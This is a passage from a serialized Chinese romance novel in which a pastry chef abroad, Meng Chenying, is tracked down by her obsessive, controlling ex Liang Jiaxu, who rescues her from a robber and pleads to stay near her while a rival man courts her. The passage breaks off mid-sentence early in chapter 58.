地面一层薄薄的金色。孟尘萦懒洋洋地翻了个身,再起床,拉开窗帘, 迎面接住室外的阳光。 洗漱后,她简单弄了一份煎蛋和面包,再喝了一杯热牛奶。 时间正好八点, 她背着帆布包出门。 刚锁好家里的门,邻居家的金毛犬就在外面冲她摇尾巴。 孟尘萦小步跑出去, 见爱丽丝还有章之窈牵着金毛犬在她家门口。 “窈姐,早上好啊!” 章之窈笑着打招呼:“早啊夏夏!我们正要去遛狗呢。” 孟尘萦笑盈盈道:“我去上班, 一道走吧。” 爱丽丝在前面牵着金毛犬, 两人在后面慢步聊天。 章之窈认真看了眼孟尘萦,打量道:“你最近气色很不错啊, 早上醒来还这么有精神。” 孟尘萦捂住自己的脸,喜笑颜开:“每天都这么有规律的生活, 不想气色好都不行。” 她语气一顿, 又说:“不过我总觉得有点奇怪。” “嗯?什么奇怪?” 孟尘萦说出心中疑惑, 问章之窈晚上有没有觉得哪里有怪异之处,“我总感觉, 好像有人一直看着我。” 章之窈惊讶道:“啊?真的假的?咱们这镇子不是挺安全的吗?” 孟尘萦说:“从上个月起, 我工作的地方, 我总是感觉好像有一道黑影在盯着我似的,不知道是不是我多疑了。” 她想,是不是每个独居的女孩,独居久了都会有这种多疑的现象。 章之窈安慰道:“你要是害怕就找个人跟你结伴,晚心她不是跟你一起上班吗?” “她家跟我不住一起,是另一条路, 而且她也不能每次都绕弯跟我一起走吧。” “说的也是。” 章之窈见孟尘萦是真的害怕,有些苦恼:“咱们是邻居,你要是回家后有什么问题我还能帮助你,但要是工作的地方有什么危险,我真的无能为力了……” 孟尘萦后知后觉,自己因为太想分享心中的疑惑,竟然不知觉给人添了麻烦。 她不想让别人担心她,便笑着说:“大概还是我多疑了,没事的。” 也不知道是不是真的多疑。 早上九点,孟尘萦又收到了匿名人送来的鲜花。 这次送来的鲜花还是没有署名。 已经连续六天了。 孟尘萦望着眼前这捧鲜花,面露难色,她真的很想知道究竟是谁送给她的。 沈晚心琢磨道:“该不会是你的追求者吧?” “陈老板该有危机感了。” 孟尘萦出神地望着这束花,最终还是抱起来,沈晚心问她去哪儿。 “拿出去丢了。” 这几天的花,她全部都丢在外面当摆设,自己没有收。 沈晚心觉得很可惜。 孟尘萦刚捧着花丛工作台后出来,这时门口的风铃一响。 走进来一个年龄约莫十八岁的小少年,白皙的面容,戴着一副圆框眼镜,很乖的面相,长得有点像哈利波特。 这个少年这段时间经常来店里点甜品。 但每次孟尘萦看他时,他都会害羞到垂脸,支支吾吾买了甜品就马上跑了。 今天孟尘萦还是像往常一样问他想吃点什么。 少年羞涩地走到柜台前,缓缓抬起头,在目光对上孟尘萦漂亮的眼睛后,又慌张瞥开,他指了指那块苹果派。 孟尘萦帮他取出来,柔声询问:“还是打包吗?” 少年点了点头。 沈晚心默默打量一圈这个少年,等人提着打包好的苹果派走了,她琢磨着嘀咕道:“这小孩该不会是暗恋你吧?” 孟尘萦啊了一声,一脸莫名其妙。 沈晚心把孟尘萦这就的情况逐步进行分析:“你说这花有没有可能就是他送的?他好像就是上周起,时常光顾咱们的店。” 孟尘萦也不禁在想这些关联,还没琢磨出个结果,没想到风铃又响了。 那名少年去而复返,他手里提着刚才打包好的苹果派,小跑到孟尘萦跟前,一鼓作气问她今晚有没有时间,想跟她一起去街上看夜晚的河水。 话音才落,沈晚心嘴里尚未咽下的那口水瞬间卡在喉咙里,猛地呛了下。 孟尘萦神色微怔,随后告诉他自己晚上要工作,收工很晚了只想回家休息。 少年沮丧地低头。 最后,他依依不舍地看了眼孟尘萦,溜了。 “果然被我猜对了!!!那小孩他喜欢你!” 孟尘萦这下也无法反驳,他的喜欢的确很明显。 她望着怀里的花,心想真的是那个小男孩送的吗? 如果是的话,她应该不用多疑了- 沈晚心最近沉迷去那家清吧喝酒,起先孟尘萦真的以为她单纯只是馋酒,后来再三追问才知道真相。 原来沈晚心是瞧上在那工作的一个小帅哥。 是个金发碧眼的小帅哥,沈晚心馋人美色,隔两天就去店里看他。 再等她想要表白的时候才知道,帅哥已经有女朋友了。 沈晚心伤心下不免要大醉一场,孟尘萦自然作陪。 晚上她陪沈晚心喝了很多酒,到家时,脚步已然不稳。 走路都虚浮的。 她歪着身子站在门口开门,钥匙怎么都塞不进去。 孟尘萦不开心地嘀咕,“为什么你不会自己钻进去,你为什么这么不懂事啊?” 她在门口碎碎念了好久,竟是开始埋怨起钥匙,捅了半晌,总算把门打了开。 房门关上的下一秒,屋内“嘭”地一声巨响。 梁嘉序下车,用钥匙开了房门。 屋内,满脸酡红的女孩已经睡倒在地毯上。 梁嘉序把她抱回卧室,轻柔地放在床上,他坐在床沿,褪下她的衣服检查有没有摔伤。 好在除了膝盖那有点红之外,没什么问题。 但这还是梁嘉序第一次看到她醉成这样。 从前他们在一起时,她从来不敢多喝酒,就怕喝醉后会发生点儿什么。 梁嘉序在她房间的医药箱里找到了消肿喷雾。 喷过药后,他去浴室打了盆热水,给她擦干脸上的薄汗。 女孩睡得很沉,任他如何摆弄都没有要醒来的迹象。 月色溶溶如水,无端生起了旖旎。 梁嘉序俯身靠近,黑眸锁定她的脸,多想吻她。 她醉得厉害,这时候吻了她,她也不会察觉。 但这种下作的想法,转瞬即逝。 他只静静看了她片刻,再坐直身子,掖好床上被角出了门。 翌日。 孟尘萦醒来,头痛欲裂。 她趴床上翻了几个滚,忽然吓得睁开眼。 她反应很快,立刻坐起来,检查自己的身体。 她穿的还是昨天出门的衣服。 看着没什么异常。 可是,她怎么会在床上? 她的记忆只在自己把房门打开,回家,剩下就半点都没有了。 难道是她自己回了卧室,在床上睡觉吗? 这可能吗? 可如果不是她自己回的卧室,那她是怎么在床上醒来的? “傻啊你,当然是你自己回到卧室的啦。”沈晚心得知孟尘萦一直对这件事钻牛角尖,好心给她开导:“你都醉成那样了,怎么会记得啊。” “可是,我记得我打开房门了啊,后面发生的什么怎么半点记忆都没?我没可能不记得自己躺床上去的啊。” 沈晚心双手一摊,夸张地比出一个小天使的形象:“那你是觉得有个田螺姑娘特地在你开门回家醉倒后,再到你家把你抱起来,轻柔地把你放在床上照顾你?” 孟尘萦眨了眨眼,面露惊悚。 “知道怕了吧?这时候还是宁愿相信是你自己太醉了没意识比较好。” “你说的也是!”孟尘萦晃了晃脑子,把那些乱七八糟的想法推出去。 如果真是那样,也太可怕了点。 或许真的是她太醉,半点意识都没有。 孟尘萦在做甜点,沈晚心便陪她闲聊,有一搭没一搭的,一上午就过去了,两人正愁着中午吃什么,没想到陈寰柏回来了。 沈晚心打趣一笑:”哟,陈老板,我还以为你回国就不要我们了。” 陈寰柏解掉围巾,笑容爽朗:“不要你也不会不要这家店。” 沈晚心撇嘴:“你这店没我们夏夏早就倒闭了好吗!” “夏夏。”陈寰柏绕到工作台来,“我家里的事处理好了,近期应该不会再回国。” 孟尘萦喔了声。 陈寰柏盯着她面容:“脸怎么这么红?” 他轻笑,靠近看她。 孟尘萦啊了一声,看向沈晚心:“我脸很红吗?” 沈晚心点头:“可能是昨晚的酒还没解? ” 孟尘萦伸手摸了一把,感觉是有点儿滚烫,她弯腰,在抽屉里想找把镜子。 陈寰柏像是知道她要找什么,把那面镜子拿来,竖她面前。 他弯唇一笑,低声道:“还是好看的。” 孟尘萦望着镜子里的微红的面颊,又想起自己早上那奇怪的现象。 真的会有人醉到自己回卧室睡觉都没感觉吗? 可是为什么,她开门的画面却记得很清楚? 见她沉思着想事情,微红的脸颊是说不出的可爱,陈寰柏心思一动,又凑近些:“想什么呢?这么出神。” “没……”孟尘萦抬眸看他,冷不防与他四目相对,她怔了一瞬,再移开目光。 甜品店外停着的一辆黑色轿车,后座车窗降下些许,露出冷冽的黑眸。 店内,女孩站在窗边,笑盈盈看着对面的男人,脸颊微红,隐有羞涩之意。 梁嘉序脸上寒意冷沉。 心脏骤痛起来,脸色煞白。 前座的司机见他一瞬间脸上血色便褪去了,紧张问:“梁先生?您还好吗?” 梁嘉序微躬着身,视线还望着店内的女孩,她时不时跟旁边男人说话,红唇轻启,衔着浅笑。 “没事。” 他紧咬着牙,额间的汗液如雨水滑落。 看他那样子不像没事,司机擅作主张,把车子开离此处,前往附近的医院。 这两年梁嘉序看医生的次数不少,起先只是一些心理疾病,每次开了药吃过会稳定点,但近些日子,他因为睡得太少,身心俱疲的情况下勉强撑了太久。 对他目前情况,医院的建议是让他先住一阵子院- 圣诞节当天,街上每家店门口挂满了绚丽的彩灯。 小镇子平常较为安逸,但圣诞节这种特殊节日也会举办的极其热闹。 沈晚心白天因为在别处得到了自己父亲的消息,特地请了一天假,所以今天只有孟尘萦一个人在店里。 至于陈寰柏,他每年圣诞节都会去养老院看望老人家,约莫今天都不会回店里。 窗外雪花簌簌地落。 玻璃窗上印出洁白的寒霜。 店里晚上实在太过忙碌,孟尘萦也没心情欣赏美丽的雪景,等她忙完再歇下来时,已是晚上九点。 孟尘萦累得伸了个懒腰,整理好所有的工作,关门闭店。 雪还在下,鹅毛似的雪花从墨色的天空缓缓坠落,街边的地面铺了一层白。 关好店门,孟尘萦站在门口,伸手接了一捧雪花。 寒风吹红她的鼻尖,她冷到吸了吸鼻子,等手里的雪花完全化了,才总算歇了玩雪的心思。 回家的方向,只要绕过这个巷子再走一段路即可抵达。 她现在冷得厉害,只想赶紧回到自己温暖的小被窝。 雪有点转小了,但孟尘萦后知后觉反应过来,她概也是被英国人感染,下雪天都不想打伞。 好在现在雪也不算大,雪花落在身上也像披了一层羽衣,怪好看的。 趁着四下无人,她自顾自地给自己找乐子,故意往积雪的地方去踩。 脚底下也踩得嘎吱嘎吱响。 她跟着嗬笑了几声。 随着她脚底下积雪的动静,孟尘萦忽然停住脚步没动,而身后却还有嘎吱声传来。 她愣了一会,再继续走路。 嘎吱声双重响起。 她可以确定,自己身后有人在跟踪。 这个意识让她瞬间感到无比恐惧。 因为圣诞节的缘故,很多人都去另一条街热闹了,这个巷子现在可能只有她和那个跟踪她的人。 孟尘萦脚步加快,恨不得立刻从这个巷子里逃出去。 就在她加快脚步的同时,身后的脚步声也在加快。 孟尘萦直接跑了起来。 身后的人意识到被发现,不愿到嘴的肉从口中逃脱,直接冲过来,一把拽住孟尘萦的单肩包。 她吓得尖叫一声,恐惧的声音划破夜色。 孟尘萦被男人堵在墙角。 男人掏出一把水果刀,恶狠狠道:“东西都交给我!” 孟尘萦死拽着不松,他目露凶光,把水果刀朝她脸靠近:“不想活了?” 孟尘萦声音微抖:“我可以给你钱,但包里的东西你要给我。” 男人吼道:“钱和你的包我都要!” “废话再多说,”他挥起拳头,正要一拳砸下来。 孟尘萦吓到闭眼。 惊恐的声音也卡在喉咙里。 只见下一秒,男人痛苦地惨叫声在巷子里回荡。 孟尘萦轻颤着睁开眼,眼前已经没了那个劫匪,她的视角只能看到刚才打劫她的人,被一个黑衣男人凶狠地按在了另一边的墙角。 劫匪的右手被摁在墙上,被男人用力一折。 孟尘萦听到一声清脆的,骨头错位的声响。 她心里一紧,劫匪果然发出悲痛至极的惨叫声。 看背影,男人个子很高,身形挺括,身上的黑色大衣上落了不少雪花。 是粗硬的短发,但依稀能看到他冷白的后颈。 就在她出神时,这男人已经把劫匪彻底打趴,痛苦地在地上扭成了蛆。 孟尘萦抱着怀里的帆布包,迟疑着上前两步。 昏暗的巷子里,地上洁白的雪花像反光镜般,照亮孟尘萦被寒风吹红的脸颊。 她紧张地咽了咽口水,想主动去感谢眼前的救命恩人。 这时,男人利落转过身,步子迈得很大,大衣衣角掠起一阵风。 他两步跨来,在孟尘萦怔怔茫然间,便将她整俱身躯,密不可分地拢入怀抱里。 速度快到她脸对方的长相都没看清。 孟尘萦吓了一跳。 尖叫着喊了一声—— 她用了劲挣扎,想要从男人的怀抱里挣脱开来。 可他力气太大,无论她如何推搡,他完全屹然不动。 她吓得泪水蕴满了眼眶,微张着嘴,在拼命呼吸,想要求救。 这时,男人重重的气息,落在她的颈窝处,她身子骤僵,在寒风中,她清晰地嗅到一股冷冽的木质香。 是她无比熟悉。 几乎熟悉到她深入骨髓的香味。 闻出那道香时,她心里霍然一沉,垂着眸,没再动弹。 但按在男人背脊的手指,轻轻蜷了蜷。 不,不可能。 不可能会是他。 大概又是她认错了。 不是所有个子高挑,穿黑衣服的男人就是梁嘉序。 同理,也许刚才也是她闻错了味道。 孟尘萦泪眼朦胧,视线看着他身后的雪白,用力一咬牙,鼓足劲想要挣脱他的怀抱。 男人再度死死抱住她。 力气大到,似想要将她揉进他的身体里。 风雪连绵不断,她的世界里只有簌簌的雪花声,以及,身前男人轻颤的呼吸声。 那片雪,落在二人的肩头。 孟尘萦呼吸一急,嘶哑地喊:“你放开我!” 男人用力地抱住她。 她越来越害怕。 无助,慌张,还有一种,她不愿面对的猜测。 她忽然有点不敢面对现实。 或许这也只是她又一次认错的情况,可当有一股温热的湿润,从她的颈窝缓缓滑进身体里时…… 孟尘萦还是僵住了。 这个人,哭了? 他为什么会哭? 孟尘萦没敢再动,她害怕得很,张了张嘴,一句话都说不出来。 浑身被男人抱的热乎,只有按在他后背的手,被风雪吹得冷红。 昏暗的深巷,雪花从天际缓缓飘落。 不知相拥了多久,两人脚边堆了一层洁白。 孟尘萦的视线也一片洁白,眼睫衔着雪花,她视线逐渐模糊,眼眶里含着的泪意,在无助地打转。 “我好想你。” “真的,好想你。” 好想好想。 想到他几乎要疯掉。 他或许已经疯掉。 没想到,真正能拥抱到这俱温热的身体时,他会不可自拔到这个地步。 这瞬间,梁嘉序才真正意识到,他是真的没了她,不能活。 孟尘萦眼睫一颤,蕴在眼眶里许久的泪水,完全不受控制地滑落。 她蜷了蜷发红的手指,垂眸,眼睫的雪花跟着往下掉。 “梁……” “梁嘉序……” 梁嘉序心蓦然一抽痛。 他把自己,深深地埋在她怀里。 声音嘶哑,悲伤至极:“孟尘萦,别再推开我。” “求你。” 第57章 第 57 章 折断了傲骨。 不远处欢快的圣诞歌曲隐隐传进这条幽深昏暗的巷子里, 角落里的劫匪还在痛苦的哀嚎,孟尘萦却像是什么都听不见。 她满脑子只有一个意识。 梁嘉序找过来了。 他找到她了。 她该怎么办? 难道她今晚就会就被他带走,要永远被锁在他的园子里不见天日? 孟尘萦不想面对现实, 但拥抱她的男人体温是灼热的,她不得不应对她最不愿面对的情形。 回过神,用力推开男人的怀抱。 他抱得太紧, 她几乎要呼吸不过来。 “梁嘉序!你放开我!” 她哑着嗓子,惊恐地低叫出声。 梁嘉序手指一曲, 缓慢退后半步,再放开她的身子。 在他松开的那瞬间, 孟尘萦惧怕地慌张后退几步。后背抵在墙边, 手也紧紧抱着怀里的帆布包,全身上下每一个细胞, 无不是受到了巨大的惊吓。 雪花还在簌簌地飘落。 她颤巍巍抬起眼睫,朝对面望去, 眼前的男人仍是熟悉的五官, 但那张面容尤其苍白, 唇瓣也淡得没什么血色。 这竟然是梁嘉序? 脸上白得毫无气色,犹似病中的脆弱, 好像是刚从病床下来似的, 病态明显。 她舔了舔唇瓣冰冷的温度, 嗓音发紧:“你,你怎么找过来了?” 梁嘉序那双眼,像是被霜雪浸过的黑曜石,明亮间渗着细微水光。 他望着她,声音艰涩:“我说,我会找到你。” 他做到了。 孟尘萦没有半分感动, 只有无尽的害怕与恐惧:“你为什么要找过来?” 她几乎要崩溃了,声音一点点干涸:“都快两年了,我也已经有了自己的新生活,你为什么还要找到我?” “你又想把我绑回去,让我回到你的掌控之下?” “梁嘉序,我告诉你,不可能。” 她紧咬着牙,泪水在眼眶打转:“我不会跟你回去!” 梁嘉序背脊紧绷,眼里磅礴汹涌的想念,一瞬间被她这番话,尽数浇灭。 原来他的思念,对她来说竟是那么恐惧。 一年多没见了,她对他还是视为洪水猛兽。 他滚了滚喉结,黑眸一眯,挤出让人不寒而栗的声线:“这么久没见了,你对我就只有这些话想说?” 孟尘萦仰脸看他,倔强地问:“梁先生想要我说什么?” “我很想你?” “你觉得,这些会是我的真心话吗?” 梁嘉序冷笑:“孟尘萦,你还是对我这么残忍。” 他脸上的冷意袭来,没比今天的温度好到哪儿去,孟尘萦感觉自己要被他眼里的黑彻底吞了进去。 这种熟悉的压迫感,又一次将她疯狂席卷。 她无比害怕,好害怕梁嘉序现在就把她绑起来带上车,然后强制带回国。 只要一想到会有这个可能,她根本没办法冷静思考。 孟尘萦跑了。 头也不回地跑了。 她似乎从没跑得如此快过,就连路上的积雪使她几次打滑,她都未曾停下,回头。 黑暗的巷子里,墙头的树枝因承载不住积雪的重量,嘎吱折断。 角落里的劫匪还在痛苦哀嚎,他偷偷爬起来,捂住被折断的那只胳膊想要溜走。 梁嘉序冷冷瞥他一眼,右脚轻描淡写地踩下去,将他压在脚底。 风雨吹卷,无声无息飘落- 孟尘萦疯了似的飞奔回到自己的家。 她顾不上那么多,随便收拾了几件随身物品塞进行李袋,打算今晚就离开维利斯特。 整理好了后,孟尘萦站在门口,手搭在门把手上,迟迟不敢开门。 她不知道,开门将要面对什么。 或许,此时梁嘉序已经在门口等她。 等着她,再次走进他的手掌心。 可她眼下没有选择。 开门会是梁嘉序,不开门还会是梁嘉序。 她只能赌一把。 想通了后,她一鼓作气打开大门。 可门口,只有屋檐下堆积的雪。 院内空无一人,孟尘萦提着行李,小心翼翼走出院子,她趴在墙边左顾右盼,四处搜寻周围,还是没有发现梁嘉序的身影。 他没跟过来? 这怎么可能? 这根本不是她记忆里的梁嘉序。 他不可能不追过来啊? 她犹豫着,在想现在要不要趁机逃跑。 可状况发生的过于突然,现在时间也太晚了,她就算直接离开,晚上也没地方留宿。 在门口吹了近乎十分钟的寒风,孟尘萦双腿都要冻僵硬了,还是没看到梁嘉序。 看样子雪还要下一整晚,这时候的确不适合离开。 要走也只能等明天再走。 孟尘萦说服了自己,提着行李返回屋内。 整个晚上,她都翻来覆去没办法安然入睡,满脑子都被梁嘉序的出现搅得乱糟糟。 她只有一个想法,她平凡安稳的生活,好像要消失了。 或许明天一早,她就会在家门口见到梁嘉序- 沈晚心今天上班迟到了,好在老板也不在,不用担心扣工资。 只是她赶到甜品店时,往常总是第一时间给她回应的孟尘萦,并没有像之前那样笑容满面对她说一句早上好。 沈晚心趁机在厨房补了早餐,咽完嘴里最后一口吃的,才不明所以问:“夏夏,干嘛呢?大清早就魂不守舍。” 她都来多久了,跟没见到她似的。 孟尘萦正在上今天的甜品,把每一块蛋糕都摆放好,才回头说:“啊,没什么啊,你没看见我做事呢?” “看见了啊。” “但是……”沈晚心歪着身子靠在橱柜边,“往常做什么事都很认真的人,今天是怎么了?手忙脚乱的。” 她从橱柜里拿出一瓶奶油,“你把这玩意摆上来干嘛?” 孟尘萦一怔,脸微热,连忙把奶油夺过来,“拿错了。” 整个上午,孟尘萦未曾说几句话,只时不时看向门口,像生怕有人找过来。 等约莫中午左右,她这种魂不守舍的状况好了不少。 孟尘萦坐在餐桌前,垂眸看面前这份午餐,提唇一笑。 她早上出门没见到梁嘉序。或许昨晚那些事只是她的梦境?梁嘉序根本没有找过来? 她天真地这样安慰自己。 沈晚心无聊地啃了口汉堡,吐槽昨晚的经历,“还没找到我爸,还浪费了我一个圣诞节,夏夏,你昨晚圣诞节怎么过的?” 孟尘萦淡声说:“收工就回家了。” “也跟我一样无聊。”沈晚心咬完最后一口汉堡,站起身正要去洗手,忽然看见外面有道人影缓缓靠近。 随后,店门被推开,风铃泠泠响声。 已调整好自己心态的孟尘萦,很专业地转过身,露出笑容。 下一秒,她脸上的笑容僵住。 梁嘉序径直走来,随便找了个窗边落坐。 沈晚心上去招呼,询问他需要点儿什么, 男人面相很明显是中国人,过于出众的五官很难不让人有片刻怔神,沈晚心眼里掠过一抹惊艳,她尝试用中文交流,得到回应后,沈晚心微微一笑:“方便我一直用中文为您服务吗?” 梁嘉序慵懒地掀眸:“只方便让那位小姐为我服务。” 沈晚心顺他视线望过去,见孟尘萦脸色煞白,还僵在原地。 “这位是我们店唯一的甜品师,不算服务员,先生如果需要服务的话……” 梁嘉序略有不耐,手指敲着桌面:“你有点吵,去泡杯咖啡别烦我,甜品让那位小姐给我随便上一份就行。” 他淡笑:“毕竟她做的什么甜品,我都喜欢。” 沈晚心脸骤然一垮,超级想骂人,没见过这么大牌的顾客,上来就说她吵? 她咬紧后槽牙,后退几步,“好的,我这就为您冲一杯咖啡。” 厨房。 沈晚心气急败坏磨咖啡,“夏夏,你认识那个人吗?” 孟尘萦没吭声,她还沉浸在愤怒中,“算了,看在他长那么帅的份上,原谅他了。” “夏夏?” 沈晚心咖啡都冲好了,孟尘萦还没理她,她疑惑道:“你今天真的很不对劲。” 孟尘萦瞥了眼她手中的咖啡,淡声:“没什么,你还是快把咖啡给他端去。” 整个中午,乃至于整个下午,梁嘉序都赖在店里没走。 店里的每一种甜品他都点了一份,咖啡也续了几杯。 沈晚心托着下巴,视线在梁嘉序身上停留,最终又挪到孟尘萦身上。 她可以确定,这个男人一直在看孟尘萦。 虽然两人一句话都没说,但那种诡异的氛围感是骗不了人的。 “你们真的不认识?” 孟尘萦面不改色:“不认识。” 沈晚心眯了眯眼,追问:“我怎么瞅着不像那回事?那男人一直在看你啊。” “不,是他的眼睛里只能看到你。” “诺,不信你看。” 孟尘萦也看过去,果然,她的目光对上了梁嘉序的视线。 如果不是时时刻刻在看她,是不可能在她不经意间望过去时,都能对上视线。 她垂眸说:“错觉吧,可能我长得比较像他的熟人。”- 晚上。 沈晚心提前收工了,孟尘萦留在最后关门。 刚扣上门锁的钥匙,梁嘉序便从暗处现身。 孟尘萦转身看他,心平气和道:“我们谈谈?” 昨晚下了整晚的雪,四周建立了不少雪堆,洁白的雪反光投映。 孟尘萦能清晰看到梁嘉序的脸色。 还是冷白到没什么气色,像是病没有完全好,孟尘萦压下心中的疑惑,蹙眉质问他:“梁先生,你究竟什么意思?” 梁嘉序:“只是来看看你。” 孟尘萦冷脸看他:“昨晚我的话还没说清楚?我说了我不会跟你回去。” “当然,”她自嘲一笑:“梁先生还是可以用你那些手段强迫我,再强行把我带回去,你完全可以做到。” 梁嘉序眼尾衔着丝丝缕缕的冷意:“你也知道我可以做到,那为什么我没这么做?” 是啊。 他为什么没有这么做?这也是孟尘萦想不通的地方。 他喉结滚了滚,声线冷冽:“我们还没分手。” 孟尘萦反驳:“分了。” 梁嘉序冷声:“没分。” “孟尘萦,我不会跟你分手。” 孟尘萦后退一步,态度明确:“可是梁先生,是我要跟你分手。” 她不会再像一年半之前那样,被他几句话就吓得立刻缴械投降,她这次一定要跟他分干净。 想起她这么多次想要逃离他,就连这次逃到国外,她自由自在了一年多,这种快乐的日子竟还是被梁嘉序轻易打破。 其中的落差,让她难以接受。 寒风吹得她鼻尖泛红,她声音嘶哑哽咽:“你不会知道,你的到来对我来说有多恐惧,我梦寐以求平淡温馨的生活,就这样被你破灭了。梁嘉序,我从来都不喜欢你,我们在一起是你勉强的,我的所有举动,都是你强迫的,我都跑这么远了,离开你这么久了,你到底为什么不肯放过我?” 梁嘉序微提唇角,还是傲气的眉眼,那抹浅薄的笑,此刻却显得有些悲凉。 “我喜欢你。” 他轻声说着,朝她靠近:“孟尘萦,我喜欢你。” 孟尘萦耳廓内忽然嗡地一声响。 怔住,呆滞在原地。 梁嘉序轻声喃喃:“你不喜欢我没关系,你可以不喜欢我。” 他眼里近乎病态纠缠,把她锁了进来:“只要你让我留在你身边就好。” 孟尘萦眼睫一垂。 心里在疯狂弹奏的音符,也在这一刻戛然而止。 梁嘉序是个骄傲狂妄的男人,他的人生生来便是站在顶端。 在她的记忆中,她只听他说过,要她永远都留在他身边。 现在的主语却换了。 他说,他想留在她身边。 她不知道这一年半,他究竟经历了什么,为什么会有这些转变。 沈晚心下午还在说他傲。 她想,傲,那才是梁嘉序。 可现在站在她面前的梁嘉序,却像是被她活生生折断了傲骨。 梁嘉序眼里一抹暗色涌动:“这次我不会强迫带你回去,让我留在你身边,好么?” 孟尘萦手指紧紧攥成拳头。 她垂眸,错开他灼热黑沉的视线。 “不好。” 她丢下这句话,转身跑了。 寒风凛凛,湿冷的空气中还隐约溶着她身上的馨香。 梁嘉序望着她匆忙逃跑的背影,胸腔压抑许久的难受,终是咳了出来。 他后退几步,背脊抵在落地花盆边,凌冽的眉目,一点点收拢- 隔天梁嘉序又来了甜品店。 接下来连续几天,他每天都有来。 沈晚心多半猜测到梁嘉序是为了孟尘萦来的,她很有危机感的把这件事告诉了陈寰柏。 陈寰柏并没有表现什么,只是在隔天,让甜品店休业了一天。 晚上,陈寰柏邀请孟尘萦和沈晚心到他们常去的那家清吧。 沈晚心丢下背包,笑道:“陈老板,难得放我们休假一天,来这干嘛呢?来酒吧喝酒啊?” 孟尘萦也不明所以,把包放下,落坐在卡座。 陈寰柏漫不经心道:“没什么,只是今天是我三十岁的生日,我一个人在家切蛋糕觉得寂寞难耐,就把你们请了出来。” 话音才落,孟尘萦和沈晚心脸色都一变。 沈晚心小声问孟尘萦怎么不跟她说这事。 孟尘萦面露尴尬:“我也不知道啊……” 明明去年也没见陈寰柏过生日。 两人当着他面说悄悄话,陈寰柏抬肩,面露不爽:“喂,在寿星跟前要不要这么明显?放心,不是找你们要礼物,你们就陪我过一个生日就好。” 他都这样说了,两人也没再扭捏。 陈寰柏点了很多酒,他还自己带了蛋糕来,要吹生日蛋糕之前,他忽然一改不着调的笑容,反而认真看向孟尘萦。 “夏夏。” “嗯?” 陈寰柏透过烛光望向孟尘萦白皙的面容,态度认真诚恳:“我的生日愿望是,希望你跟梁嘉序永远不复合。” 孟尘萦眉眼微动,浅笑说:“老板,这是你的生日愿望,还是别带上无关人员比较好。” 他歪着头,灿烂一笑:“开玩笑的。” 沈晚心听不太懂他们的话题,皱着眉啊啊了几声,“陈老板,你在说什么?” 陈寰柏笑意褪去:“没什么,我吹蜡烛了。” 生日聚会散去,三人各回各家。 因上次圣诞节被人差点打劫的事,让孟尘萦现在独自回家都仍是心有余悸,她走在安静的道路间,听到身后有脚步声,都会停下转身看看是什么情况,见只是普通的路人,才会放心。 可她接连又绕了一条路,还隐约觉得有人在跟着她。 这次绝非错觉。 孟尘萦再次转身。 梁嘉序在身后不远处,跟着她。 她脸色一冷,站在不动,等男人逐步上前。 “你到底为什么跟着我?” 梁嘉序淡声:“我只想看你安全到家,没别的想法。” 看出她眼里深深的不信任,总归还是他之前做的那些事,让她留下了心理阴影,他主动后退几步。 “信我一回,行么?” “没人会比我把你安全还看的更重要。” 孟尘萦眼里的警戒还是没褪去,思考再三,考虑到梁嘉序这人除了无耻了点,爱强迫人了点,也不算什么匪徒,还是作罢。 “我到家你就走?” “嗯。” 他情绪很冷地应。 孟尘萦不再愿意拖延,加快脚步,在十分钟之内就赶回了自己家,回家后,猛地把门反锁,生怕梁嘉序闯进来。 但出乎她的意料,他的确只把她送到家门口,就走了- 约伯里镇要举办一个甜点比赛,早上陈寰柏把这消息带过来时,沈晚心最先激动地叫起来。 “夏夏,你可以报名去参加啊!” 陈寰柏说:“第一名有奖金,夏夏,我知道你不缺钱,但你靠自己的能力得到这笔的奖金,想必会很有成就感。” 孟尘萦看宣传单上的介绍,心里也越来越痒。 “不过约伯里离这有点距离,要是去参加比赛,是不是要提前一天去?” 陈寰柏说是的,“你决定去的话,我给你安排报名,当然,身为你老板的我,也必须要跟着一起去。” 沈晚心脸一垮,不开心道:“所以我就倒霉的,要留下看店了?” 孟尘萦笑着扑过去抱她:“如果我拿了奖金,就给你买礼物!” “好耶!”沈晚心开心到扑过去亲了孟尘萦一口。 因为这个活动比较突然,明天将要正式开始比赛,今天孟尘萦就要离开维利斯特,陈寰柏放她半天假回家去收拾明天的行李。 下午,两人乘车出发。 到达约伯里镇已是晚上。 两人入住了比赛地点附近的民宿,房间互相挨着,陈寰柏把行李箱还给孟尘萦,用房卡开门前,笑着提醒她:“明天就是比赛,晚上可要好好的睡一觉,养精蓄锐哦。” 孟尘萦点头:“放心吧,我睡觉可沉了。” 孟尘萦把行李安放好,拉开房间窗帘,看了下腕表,现在才八点,刚才她和陈寰柏随便在外面吃了点儿,这会儿洗过澡就能睡觉了。 等做完一切准备工作,孟尘萦很早入睡。 第二天醒来精神很不错,已经开始着手准备比赛的事宜。 比赛举办的地点在一家甜品店的后厨。 参赛选手有八名左右,其中只有孟尘萦一个中国人。 主办方简单介绍比赛规则,等时间一到,所有的烘焙师都开始着手忙碌了起来。 因为是一场公开比赛,所有观众可以在烘焙室外坐着观察。 陈寰柏特地找了个距离孟尘萦最近的位置观察她。 靠窗有个座位,他正想礼貌跟身旁的人打个招呼,等看清是谁,眉不悦地拧了起来。 “梁先生?” 梁嘉序下颌轻抬,态度敷衍。 陈寰柏礼貌问他:“你是来看夏夏的?” 梁嘉序哂笑:“不然来看你?尽问些废话。” 陈寰柏从前在京市时,也曾在宴会上几次跟这位梁江两个世家的独生子梁嘉序打过照面,京圈没人没听过他的威名。 梁江两个庞大世家独生子,生来就拥有狂妄的资本。 素来是无法无天,难以接近。 听说。 没人能从他这讨到好。 当他看到梁嘉序每天出现在店里时,他就多少猜到了。 梁嘉序就是孟尘萦的前男友。 他没想到,找了孟尘萦一年半还不放弃的人竟是梁嘉序,现在竟是追到了这儿? 陈寰柏视线追着玻璃镜内的孟尘萦,主动打破沉默:“我打算追孟尘萦,梁先生,不介意吧?” 梁嘉序轻瞥他一眼,眼里衔着讥笑:“这么没道德,想做小三?” 第58章 第 58 章 “你会选择谁?” 四周吵闹声不断, 只有烘焙室的几位参赛选手完全没有被影响到。 陈寰柏面不改色道:“没记错的话,你们应该分手了。” 梁嘉序懒得跟他搭腔,他看在孟尘萦面儿上已经克制了不少, 搁以前,陈寰柏是完全不能够在他面前说这种话。 场面极度尴尬,陈寰柏也没介意梁嘉序的态度。 他跟孟尘萦相处的一年半并非半点都不了解她, 他一直没有主动出击是因为他早就看透了,孟尘萦跟旁的女孩子不一样, 对待感情,她比较看重合适度。 他在她身边, 跟她一起过着平淡的生活, 